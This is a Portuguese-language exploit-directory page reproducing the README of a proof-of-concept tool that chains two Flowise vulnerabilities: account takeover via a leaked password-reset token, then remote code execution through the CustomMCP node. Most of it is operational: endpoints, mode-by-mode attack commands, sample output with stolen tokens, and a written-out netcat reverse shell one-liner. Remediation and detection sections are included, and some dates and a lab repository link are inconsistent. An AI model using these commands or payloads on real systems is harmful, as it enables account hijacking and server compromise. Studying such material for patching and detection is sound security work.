Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Flowise-CVE-2025-58434-Chain-59528 — FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demonstrando ATO não autenticado via vazamento de token de redefinição, seguido por RCE autenticado. Inclui um ambiente de laboratório Docker reproduzível. | Kitploit
Ferramentas/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoAprendizado e EducaçãoLabs e Prática
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demonstrando ATO não autenticado via vazamento de token de redefinição, seguido por RCE autenticado. Inclui um ambiente de laboratório Docker reproduzível.

Ver Repositório
1há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Cadeia de CVEs do FlowiseAI - ATO (CVE-2025-58434) e RCE (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python License

⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.


Índice

Este repositório contém uma prova de conceito em Python para encadear duas vulnerabilidades do Flowise:

  • CVE-2025-58434 — Account takeover através de exposição de token de redefinição de senha.
  • CVE-2025-59528 — Execução remota de código através de avaliação insegura de JavaScript no nó CustomMCP.

Flowise é uma plataforma de arrastar e soltar para construir aplicações LLM e fluxos de trabalho de agentes de IA. O CVE-2025-59528 afeta o Flowise 3.0.5 e foi corrigido na versão 3.0.6. O problema decorre do processamento inseguro de mcpServerConfig dentro do nó CustomMCP. O CVE-2025-58434 está relacionado à exposição de token de redefinição de senha e também foi corrigido no Flowise 3.0.6.

A ferramenta suporta:

  • Verificação de vulnerabilidade
  • Fluxo de account takeover
  • Login e recuperação de cookies
  • RCE autenticado
  • Modo de cadeia completa: ATO → login → RCE

Detalhes das Vulnerabilidades

CVE-2025-58434 — Account Takeover

  • CVE ID: CVE-2025-58434
  • Pontuação CVSS v3.1: 9.8 (Crítica)
  • Tipo de Vulnerabilidade: Account Takeover / Bypass de Autenticação
  • Produto Afetado: Flowise
  • Versão Afetada Testada: Flowise 3.0.5
  • Versão Corrigida: Flowise 3.0.6
  • Autenticação Necessária: Não
  • Impacto: Exposição de token de redefinição de senha, account takeover

O fluxo vulnerável de redefinição de senha expõe dados sensíveis do usuário, incluindo tokens temporários de redefinição de senha, na resposta da API. Um atacante que conhece um endereço de e-mail de usuário válido pode solicitar uma redefinição de senha, recuperar o token temporário da resposta e usá-lo para definir uma nova senha para a conta.

O comportamento vulnerável afeta o Flowise cloud e implantações auto-hospedadas/locais que expõem a mesma superfície de API. A remediação é nunca retornar tokens de redefinição de senha ou dados sensíveis de redefinição de conta diretamente nas respostas da API.

CVE-2025-59528 — Execução Remota de Código

  • CVE ID: CVE-2025-59528
  • Pontuação CVSS v3.1: 10.0 (Crítica)
  • Tipo de Vulnerabilidade: Injeção de Código JavaScript / Execução Remota de Código
  • Produto Afetado: Flowise
  • Versão Afetada Testada: Flowise 3.0.5
  • Versão Corrigida: Flowise 3.0.6
  • Autenticação Necessária: Sim
  • Impacto: Execução arbitrária de JavaScript dentro do runtime Node.js, RCE no servidor que hospeda o Flowise

A vulnerabilidade existe no nó CustomMCP do Flowise. O parâmetro mcpServerConfig é analisado como parte do processo de configuração do servidor MCP e é avaliado como código JavaScript sem qualquer validação de segurança. Isso permite que um atacante autenticado injete código JavaScript arbitrário, que é executado no ambiente Node.js do servidor Flowise. Na função convertToValidJSONString, a entrada do usuário é passada para o construtor Function, que avalia a entrada como código JavaScript com privilégios totais do Node.js, permitindo acesso a módulos como child_process para executar comandos do sistema.

O endpoint vulnerável usado por este PoC é:

root@kitploit:~
POST /api/v1/node-load-method/customMCP

com payload js no campo mcpServerConfig do corpo JSON, por exemplo:

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

O código vulnerável é encontrado no arquivo CustomMCP.ts e referenciado no Aviso do Mantenedor do Github para o CVE.


Fluxo de Ataque

root@kitploit:~
Atacante                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  objeto do usuário + tempToken           │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  senha alterada                          │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<crafted config>        │
   │─────────────────────────────────────────►│
   │                              JS avaliado no Node.js
   │                              comando executado
   │◄─────────────────────────────────────────│
   │  saída do comando ou payload disparado   │
   │                                          │
   ✓  Account takeover + RCE autenticado

Estrutura do repositório:

root@kitploit:~
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

Instalação

Ferramenta

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Laboratório Docker

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configure environment variables
docker-compose up -d

Uso

Comportamento Padrão

Sem argumentos, a ferramenta executará toda a cadeia de ataque, verificando a vulnerabilidade do alvo, realizando o account takeover para o e-mail fornecido, fazendo login para recuperar cookies e, em seguida, explorando a vulnerabilidade RCE com um payload de reverse shell. Execute um listener dedicado (por exemplo, nc -lvnp 9889) antes de executar a ferramenta no modo de cadeia completa.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

Tela de Ajuda

root@kitploit:~
python3 exploit.py -h

Modos

check-mode

Realiza uma verificação de versão para determinar se o alvo é vulnerável aos CVEs 2025-58434 e 2025-59528. Envia uma requisição para a API do alvo e analisa a resposta para identificar a versão do Flowise e o status da vulnerabilidade.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

ato-mode

Executa o processo de account takeover para o CVE-2025-58434. Envia uma solicitação de redefinição de senha para o e-mail especificado, recupera o token temporário da resposta e, em seguida, usa esse token para definir uma nova senha (padrão: "Password123!") para a conta.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

login-mode

Faz login no alvo usando o e-mail e senha especificados (padrão: "Password123!"). Se bem-sucedido, recupera e exibe os cookies de autenticação (por exemplo, connect.sid) para uso em requisições autenticadas.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

rce-mode

Explora a vulnerabilidade RCE (CVE-2025-59528) enviando um payload mcpServerConfig malicioso para o endpoint vulnerável. O payload é projetado para executar um comando de reverse shell que se conecta de volta à máquina do atacante no LHOST e LPORT especificados. Se nenhum token for fornecido, tenta automaticamente fazer login e recuperar um token válido para exploração. Se nenhum LHOST/LPORT for fornecido, utiliza como padrão um payload de comando id simples que retorna a saída na resposta. Execute um listener dedicado (por exemplo, nc -lvnp 9889) antes de executar a ferramenta no modo de cadeia completa.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

full-chain-mode

Modo Padrão. Executa toda a cadeia de ataque sequencialmente: verifica vulnerabilidades, realiza account takeover, faz login para recuperar cookies e, em seguida, explora a vulnerabilidade RCE com o payload de reverse shell. Execute um listener dedicado (por exemplo, nc -lvnp 9889) antes de executar a ferramenta no modo de cadeia completa.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

Referência de Flags

Alvo e Autenticação

FlagDescriçãoExemplo
-t, --targetURL base do alvo-t http://localhost:3000
-e, --emailE-mail da conta alvo-e [email protected]
--passwordSenha conhecida para modo login/RCE--password Password123!
--tokenToken de sessão existente, pula login--token eyJ...
--new-passwordSenha a ser definida durante o ATO--new-password Password123!

Modos de exploração

ModoDescrição
checkVerificar se o alvo parece vulnerável
ato-modeExecutar apenas o fluxo de account takeover
login-modeFazer login e recuperar cookies de sessão
rce-modeExecutar apenas o fluxo RCE
full-modeEncadear ATO, login e RCE

Opções de RCE

FlagDescriçãoExemplo
-c, --commandComando personalizado para executar-c 'id'
--lhostHost do listener para reverse shell--lhost 10.10.14.3
--lportPorta do listener para reverse shell--lport 4444

Segurança e saída

FlagDescriçãoPadrão
--no-checkPular verificação de versão/vulnerabilidadeFalse
-v, --verboseAtivar logging de depuraçãoFalse
--log-fileCaminho do arquivo de loglogs/exploit.log
--no-colorDesabilitar cores ANSIFalse

Exemplo de Saída

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email  : [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :

 🡪  ID             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  Name           : Lab Admin
 🡪  Email          : [email protected]
 🡪  Credential     : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  Status         : active
 🡪  Temp Token     : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  Token Expiry   : 2026-05-08T19:37:47.025Z

[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:

 🡪  Email          : [email protected]
 🡪  Password       : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :

 🡪  Token          : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!

[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP

[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
  ────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!

Laboratório Docker

Um laboratório local é recomendado para testes seguros.

Instalação do laboratório:

root@kitploit:~
cp .env.example .env  # Configure environment variables as needed
docker compose up -d --build
docker compose logs -f

Duas contas Flowise são criadas por padrão:

  • Admin: O e-mail é [email protected], a senha é gerada aleatoriamente na inicialização do contêiner (verifique os logs para obter a senha).
  • Usuário: O e-mail é [email protected], a senha é gerada aleatoriamente na inicialização do contêiner, mas não aparece nos logs. Este é o alvo pretendido para o fluxo de ATO.

Execute o PoC contra a instância local:

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

Para inspecionar os logs do Flowise:

root@kitploit:~
docker compose logs -f flowise-cve-lab

ou:

root@kitploit:~
docker logs -f flowise-cve-lab

Remediação

Recomendações Gerais

Contra CVE-2025-58434

  • Atualize o Flowise para a versão 3.0.6 ou posterior.
  • Nunca retorne tokens de redefinição de senha nas respostas da API.
  • Entregue tokens de redefinição apenas através do canal de e-mail registrado.
  • Invalide tokens de redefinição após uso único.
  • Adicione expiração estrita e limitação de taxa aos endpoints de redefinição de senha.

Contra CVE-2025-59528

  • Atualize o Flowise para a versão 3.0.6 ou posterior.
  • Evite avaliar configurações controladas pelo usuário como JavaScript.
  • Remova padrões inseguros de execução dinâmica como Function, eval ou equivalentes.
  • Valide e analise a configuração MCP como dados estritos, não como código executável.

Ideias de Detecção

Possíveis indicadores de exploração:

  • Requisições para /api/v1/node-load-method/customMCP
  • Valores suspeitos de mcpServerConfig contendo sintaxe semelhante a JavaScript.
  • Strings como: process.mainModule, child_process, execSync, Buffer.from, Function
  • Solicitações de redefinição de senha seguidas por login imediato e acesso ao CustomMCP.
  • Conexões de saída do contêiner ou host do Flowise.

Cronograma de Divulgação

  • 2025-12-09: O CVE-2025-58434 é divulgado pelos usuários zaddy6 e arthurgervais no Github Advisories, com um relatório detalhado e PoC.
  • 2025-13-09: O CVE-2025-59528 é divulgado pelo usuário im-soohyun no Github Advisories, com um relatório detalhado e PoC.
  • 2025-15-09: Ambos os CVEs são corrigidos no Flowise 3.0.6, lançado no Github.

Aviso Legal

Este projeto é fornecido apenas para fins educacionais, testes em laboratório e pesquisa de segurança autorizada.

Você é responsável por garantir que possui permissão explícita antes de executar esta ferramenta contra qualquer sistema. O autor não se responsabiliza por uso indevido, danos ou atividades ilegais realizadas com este código. Sempre siga as diretrizes éticas e os requisitos legais ao realizar testes de segurança.


Referências

  • CVE-2025-58434
  • CVE-2025-59528
  • Flowise GitHub Repository
  • Aviso do Mantenedor do Flowise para CVE-2025-58434
  • Aviso do Mantenedor do Flowise para CVE-2025-59528
  • Notas de Lançamento do Flowise 3.0.6
Baixar ferramenta